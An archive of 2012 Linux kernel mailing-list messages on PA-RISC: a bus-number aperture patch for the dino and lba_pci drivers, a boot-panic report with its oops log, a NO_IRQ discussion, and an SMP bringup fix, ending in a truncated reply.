Approved: news@gmane.org
Message-ID: <1336422606-4244-19-git-send-email-yinghai@kernel.org>
References: <1336422606-4244-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1336422682 15671 80.91.229.3 (7 May 2012 20:31:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 May 2012 20:31:22 +0000 (UTC)
Cc: Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>,
	David Miller <davem@davemloft.net>, x86 <x86@kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon May 07 22:31:18 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SRUaT-0007bJ-Ew
	for glka-linux-arch@plane.gmane.org; Mon, 07 May 2012 22:31:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932177Ab2EGUaw (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 7 May 2012 16:30:52 -0400
Original-Received: from acsinet15.oracle.com ([141.146.126.227]:18665 "EHLO
	acsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932312Ab2EGUav (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 7 May 2012 16:30:51 -0400
Original-Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94])
	by acsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q47KUR3Q022163
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 7 May 2012 20:30:29 GMT
Original-Received: from acsmt357.oracle.com (acsmt357.oracle.com [141.146.40.157])
	by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q47KUQjO018130
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 7 May 2012 20:30:27 GMT
Original-Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65])
	by acsmt357.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q47KUQAD019034;
	Mon, 7 May 2012 15:30:26 -0500
Original-Received: from linux-siqj.site (/10.132.126.50)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Mon, 07 May 2012 13:30:26 -0700
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1336422606-4244-1-git-send-email-yinghai@kernel.org>
X-Source-IP: ucsinet22.oracle.com [156.151.31.94]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:13945 gmane.linux.kernel.pci:15185 gmane.linux.kernel:1292975 gmane.linux.ports.parisc:4321
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/13945>

Add the host bridge bus number aperture to the resource list.
Like the MMIO and I/O port apertures, this is used when assigning
resources to hot-added devices or in the case of conflicts.

[bhelgaas: set flags directly, at LBA bus_num init, write changelog]
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |   10 ++++++++--
 drivers/parisc/lba_pci.c |    8 ++++++--
 2 files changed, 14 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 70517b0..ffddc4f 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -898,6 +898,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	LIST_HEAD(resources);
 	struct pci_bus *bus;
 	unsigned long hpa = dev->hpa.start;
+	int max;
 
 	name = "Dino";
 	if (is_card_dino(&dev->id)) {
@@ -983,6 +984,10 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
+	dino_dev->hba.bus_num.start = dino_current_bus;
+	dino_dev->hba.bus_num.end = 255;
+	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
+	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
@@ -998,12 +1003,13 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	bus->busn_res.end = pci_scan_child_bus(bus);
+	max = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, max);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = bus->busn_res.end + 1;
+	dino_current_bus = max + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index cd8f9ce..4f9cf24 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -989,6 +989,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		case PAT_PBNUM:
 			lba_dev->hba.bus_num.start = p->start;
 			lba_dev->hba.bus_num.end   = p->end;
+			lba_dev->hba.bus_num.flags = IORESOURCE_BUS;
 			break;
 
 		case PAT_LMMIO:
@@ -1366,6 +1367,7 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
+	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1502,6 +1504,8 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	pci_add_resource(&resources, &lba_dev->hba.bus_num);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
@@ -1511,7 +1515,7 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	lba_bus->busn_res.end = pci_scan_child_bus(lba_bus);
+	max = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
@@ -1541,7 +1545,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = lba_res->busn_res.end + 1;
+	lba_next_bus = max + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.7


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent <vincent.stehle@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 08 May 2012 23:59:56 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <4FA9975C.5060708@bergerie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336514458 7980 80.91.229.3 (8 May 2012 22:00:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 May 2012 22:00:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 00:00:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SRsSm-0005oh-QT
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 00:00:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753852Ab2EHWA4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 May 2012 18:00:56 -0400
Original-Received: from smtpfb2-g21.free.fr ([212.27.42.10]:56067 "EHLO
	smtpfb2-g21.free.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753215Ab2EHWAz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 May 2012 18:00:55 -0400
Original-Received: from smtp4-g21.free.fr (smtp4-g21.free.fr [212.27.42.4])
	by smtpfb2-g21.free.fr (Postfix) with ESMTP id 5469CD19AF5
	for <linux-parisc@vger.kernel.org>; Wed,  9 May 2012 00:00:51 +0200 (CEST)
Original-Received: from romuald.bergerie (unknown [82.228.252.113])
	by smtp4-g21.free.fr (Postfix) with ESMTP id 31FA54C80F3
	for <linux-parisc@vger.kernel.org>; Wed,  9 May 2012 00:00:00 +0200 (CEST)
Original-Received: by romuald.bergerie (Postfix, from userid 65534)
	id 98920120044; Tue,  8 May 2012 23:59:59 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on romuald.bergerie
X-Spam-Level: 
X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,FH_FROMEML_NOTLD
	autolearn=no version=3.3.1
Original-Received: from [192.168.124.7] (clopinette.bergerie [192.168.124.7])
	by romuald.bergerie (Postfix) with ESMTPS id A2FE8120041
	for <linux-parisc@vger.kernel.org>; Tue,  8 May 2012 23:59:57 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120506 Icedove/3.0.11
X-Enigmail-Version: 1.0.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4324>

Hi parisc folks,

I have noticed that the mainline kernel won't boot any more on my
hp712/100, starting with v2.6.39. It panics in
flush_instruction_cache_local.

After bisection, it appeared the culprit was commit
f311847c2fcebd81912e2f0caf8a461dec28db41 "parisc: flush pages through
tmpalias space". Reverting it made v2.6.39 boot again.

=46or v3.0, I needed to revert a few more patches simply to allow
reverting the original bad commit. And starting with v3.2, I needed to
add the patch from John David Anglin to adjust section arrangement, too
(see http://www.spinics.net/lists/linux-parisc/msg04091.html).

Here is the final patch "pile" I need on v3.4-rc6 to make it boot prope=
rly:

 <patch from John David Anglin>
 Revert f311847c "parisc: flush pages through tmpalias space"
 Revert 8b4ae334 "eliminate special FLUSH flag from page table"
 Revert b54cd0d5 "[PARISC] fix pacache .size with new binutils"
 Revert b7d45818 "[PARISC] prevent speculative re-read on cache flush"

If someone manages to repair the cache routines, I would be glad to tes=
t
the patches :)

Best regards,

--=20
Vincent Stehl=E9


Kernel panic when booting v3.4-rc6 with only the patch from John David
Anglin:

=2E..
[   16.032000] Freeing unused kernel memory: 252k freed
[   16.096000]       _______________________________
[   16.096000]      < Your System ate a SPARC! Gah! >
[   16.096000]       -------------------------------
[   16.096000]              \   ^__^
[   16.096000]                  (__)\       )\/\
[   16.096000]                   U  ||----w |
[   16.096000]                      ||     ||
[   16.456000] swapper (pid 1): Illegal instruction (code 8)
[   16.520000]
[   16.536000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   16.592000] PSW: 00000000000000000000000000000000 Not tainted
[   16.660000] r00-03  00000000 00000003 101122b4 105e7b40
[   16.724000] r04-07  105da000 0000000f ffeffff6 00000001
[   16.784000] r08-11  0f2ff000 0f000000 00000001 00000001
[   16.848000] r12-15  ffeffff6 00000017 16633000 16646ffc
[   16.912000] r16-19  00000000 00000023 16633000 17430000
[   16.972000] r20-23  00000000 105e7b60 00000001 00000020
[   17.036000] r24-27  00000000 00000000 0000bb40 104ee000
[   17.096000] r28-31  0f2ff000 00000001 17430740 10268e50
[   17.160000] sr00-03  00000000 00000000 00000000 00000000
[   17.224000] sr04-07  00000000 00000000 00000000 00000000
[   17.288000]
[   17.304000] IASQ: 00000000 00000000 IAOQ: 101009ec 101009f0
[   17.372000]  IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
[   17.436000]  CPU:        0   CR30: 17430000 CR31: 00000002
[   17.500000]  ORIG_R28: 00000012
[   17.540000]  IAOQ[0]: __clear_user_page_asm+0x20/0x70
[   17.600000]  IAOQ[1]: __clear_user_page_asm+0x24/0x70
[   17.660000]  RP(r2): clear_user_page+0x38/0x50
[   17.712000] Backtrace:
[   17.740000]  [<101122b4>] clear_user_page+0x38/0x50
[   17.800000]  [<1019c37c>] handle_pte_fault+0x1e0/0x7a8
[   17.860000]  [<1019ca08>] handle_mm_fault+0xc4/0xf4
[   17.916000]  [<1019d208>] __get_user_pages+0x18c/0x370
[   17.980000]  [<101bcc08>] get_arg_page+0x5c/0x108
[   18.036000]  [<101bcecc>] copy_strings+0x114/0x25c
[   18.092000]  [<101bd030>] copy_strings_kernel+0x1c/0x30
[   18.156000]  [<101be408>] do_execve+0x1f4/0x370
[   18.208000]  [<10117f0c>] sys_execve+0x44/0x70
[   18.260000]  [<10103084>] __execve+0x20/0x34
[   18.312000]  [<1012a098>] vprintk+0x39c/0x3f0
[   18.364000]  [<1010e074>] printk+0x24/0x30
[   18.412000]  [<101110cc>] init_post+0x6c/0x148
[   18.468000]  [<1059d624>] kernel_init+0x218/0x250
[   18.524000]
[   18.540000] Backtrace:
[   18.568000]  [<10113124>] die_if_kernel+0x138/0x1b0
[   18.628000]  [<10113374>] handle_interruption+0x1d8/0x6d8
[   18.692000]  [<10104078>] intr_check_sig+0x0/0x34
[   18.748000]  [<10174e28>] rcu_irq_exit+0x50/0x60
[   18.804000]  [<101009f0>] __clear_user_page_asm+0x24/0x70
[   18.868000]
[   18.884000] ---[ end trace 1a0bf3a13bdb1148 ]---
[   18.940000] note: swapper[1] exited with preempt_count 1
[   19.004000] Kernel panic - not syncing: Attempted to kill init!
exitcode=3D0x0000000b
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Tue, 8 May 2012 23:20:36 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <20120505115851.1fecbe50@pyramind.ukuu.org.uk> <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
 <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="185242623-1738749370-1336532840=:16707"
X-Trace: dough.gmane.org 1336533715 30468 80.91.229.3 (9 May 2012 03:21:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 03:21:55 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 09 05:21:53 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SRxTJ-0007Zb-95
	for glk-linux-kernel-3@plane.gmane.org; Wed, 09 May 2012 05:21:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753666Ab2EIDUx (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 8 May 2012 23:20:53 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:4350 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753064Ab2EIDUv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 8 May 2012 23:20:51 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q493Kc1u005871
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 8 May 2012 23:20:38 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id q493KbeO008133
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 May 2012 23:20:37 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q493KbKi021000;
	Tue, 8 May 2012 23:20:37 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q493Ka3P020995;
	Tue, 8 May 2012 23:20:36 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
Content-ID: <Pine.LNX.4.64.1205082307210.16707@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1293741 gmane.linux.ports.parisc:4325
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1293741>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--185242623-1738749370-1336532840=:16707
Content-Type: TEXT/PLAIN; CHARSET=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <Pine.LNX.4.64.1205082307211.16707@file.rdu.redhat.com>

On Sat, 5 May 2012, Linus Torvalds wrote:

> On Sat, May 5, 2012 at 11:53 AM, Mikulas Patocka <mpatocka@redhat.com> wr=
ote:
> >
> > What NO_IRQ problem do you mean? There is
> > #define NO_IRQ =A0 =A0 =A0 =A0 =A0(-1)
> > in arch/parisc/include/asm/irq.h.
>=20
> That's the one he means.
>=20
> Switching it to zero and testing that things still work would be apprecia=
ted.

It works, but there is plenty of interrupt controllers on PC-RISC and I=20
can only test it on C8000 with IO-SAPIC. I don't know if irq 0 is used on=
=20
some PA-RISC interrupt controller. It would be best if James Bottomley=20
tests it on his set of machines.

> Much code already knows that NO_IRQ is supposed to be zero, and
> there's tons of drivers that just do the (correct!) "if (!dev->irq)"
> kind of thing.
>=20
> Any architecture that has a non-zero NO_IRQ is basically broken.
> Always has been.
>=20
>                     Linus

And what about x86? --- irq 0 is used for timer and there is
void __init setup_default_timer_irq(void)
{
        setup_irq(0, &irq0);
}
in arch/x86/kernel/time.c.

Mikulas
--185242623-1738749370-1336532840=:16707--

From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot
Date: Tue, 8 May 2012 23:30:05 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205082323020.21169@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042305250.18896@file.rdu.redhat.com>
 <1336250006.2463.139.camel@laptop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336534245 859 80.91.229.3 (9 May 2012 03:30:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 03:30:45 +0000 (UTC)
Cc: Stepan Moskovchenko <stepanm@codeaurora.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@elte.hu>, Signed-off-by:;
To: torvalds@linux-foundation.org,
	Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 05:30:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SRxbu-0001Ui-VU
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 05:30:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753710Ab2EIDam (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 May 2012 23:30:42 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:63239 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753588Ab2EIDal (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 May 2012 23:30:41 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q493U8X6024718
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 8 May 2012 23:30:08 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q493U65d030906
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 May 2012 23:30:07 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q493U6Bn021860;
	Tue, 8 May 2012 23:30:06 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q493U53K021856;
	Tue, 8 May 2012 23:30:05 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <1336250006.2463.139.camel@laptop>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4326>



On Sat, 5 May 2012, Peter Zijlstra wrote:

> On Fri, 2012-05-04 at 23:26 -0400, Mikulas Patocka wrote:
> > Your patch 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot. I 
> > have a dual-core PA-8800. With the patch applied, the kernel crashes with 
> > these messages. The timer structures are apparently corrupted, as the 
> > timer sees a negative amount of delayed cycles: 
> 
> You'll find:
> 
>   http://marc.info/?l=linux-parisc&m=133241790810604&w=2
> 
> will probably fix the issue.

I confirm that the patch fixes the problem.

So let's send it to Linus so that 3.4 will boot on PA-RISC.

Mikulas

---

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Acked-by: Mikulas Patocka <mpatocka@redhat.com>
---

 arch/parisc/kernel/smp.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: linux-3.4-rc6-fast/arch/parisc/kernel/smp.c
===================================================================
--- linux-3.4-rc6-fast.orig/arch/parisc/kernel/smp.c	2012-05-09 04:54:35.000000000 +0200
+++ linux-3.4-rc6-fast/arch/parisc/kernel/smp.c	2012-05-09 04:55:24.000000000 +0200
@@ -295,8 +295,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 09 May 2012 08:53:23 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <41786065.U2qKzXR3uX@donald.sf-tec.de>
References: <4FA9975C.5060708@bergerie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2319414.k4sKqThIxP"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336546429 8356 80.91.229.3 (9 May 2012 06:53:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 06:53:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Vincent <vincent.stehle@laposte.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 08:53:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SS0mO-0003oB-Fr
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 08:53:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751826Ab2EIGxo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 02:53:44 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:56763 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751646Ab2EIGxn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 02:53:43 -0400
Original-Received: (qmail 4902 invoked from network); 9 May 2012 06:53:40 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:58924 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <vincent.stehle@laposte.net>; Wed, 09 May 2012 08:53:40 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4FA9975C.5060708@bergerie>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4327
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4327>


--nextPart2319414.k4sKqThIxP
